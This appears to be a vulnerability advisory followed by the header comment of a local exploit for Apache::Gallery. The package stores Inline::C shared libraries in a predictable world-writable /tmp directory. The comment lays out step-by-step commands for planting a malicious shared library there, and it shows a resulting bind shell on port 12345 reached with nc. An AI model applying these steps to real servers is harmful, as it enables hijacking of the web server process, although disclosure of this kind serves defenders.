It has been discovered that Apache::Gallery, when using Inline C, stores shared libraries in an insecure fashion. As a result, an attacker may be capable of having malicious code linked into the Apache process. This could lead to a malicious local user gaining the privileges of the user invoking the Apache process, typically user nobody. It should be noted that for a successful exploitation, the libraries must be replaced prior to the Apache process being invoked. 

/**
 * Gallery_4033.c .  Local webserver compromise.
 *
 * Written by:
 * 
 * Jon Hart <warchild@spoofed.org>
 *
 * Apache::Gallery improperly uses Inline::C and creates 
 * runtime shared libraries in a predictable, world-writable
 * directory, namely /tmp.  This is because of the call to 
 * File::Spec->tmpdir() almost always returns /tmp.
 *
 * In my setup, the shared libraries are _always_ in:
 *
 * /tmp/lib/auto/Apache/Gallery_4033
 *
 * First, get the .inl and .bs files from the above directory (or 
 * whatever directory).  You'll need them later.
 *
 * Next, somehow get that directory cleared.  This is usually done
 * at reboot on many UNIX operating systems, so unless you are feeling 
 * overly creative, you'll have to wait 'til then.
 *
 * Create the appropriate directory:
 *
 * 	mkdir -p	/tmp/lib/auto/Apache/Gallery_4033
 *
 * Compile this as a shared library:
 *
 * 	`gcc -shared -fPIC -o /tmp/lib/auto/Apache/Gallery_4033/Gallery_4033.so Gallery_4033.c`
 *
 * Strip it:
 * 	`strip /tmp/lib/auto/Apache/Gallery_4033/Gallery_4033.so`
 *
 * And copy in the .inl and .bs files you stole earlier.
 *
 * And wait for someone to view the gallery.  Or do it yourself.  
 * You'll now have a nice shell listening on port 12345.  Should compile
 * and run on linux, *bsd and Solaris.
 *
 * $  nc localhost 12345    
 * id;
 * uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
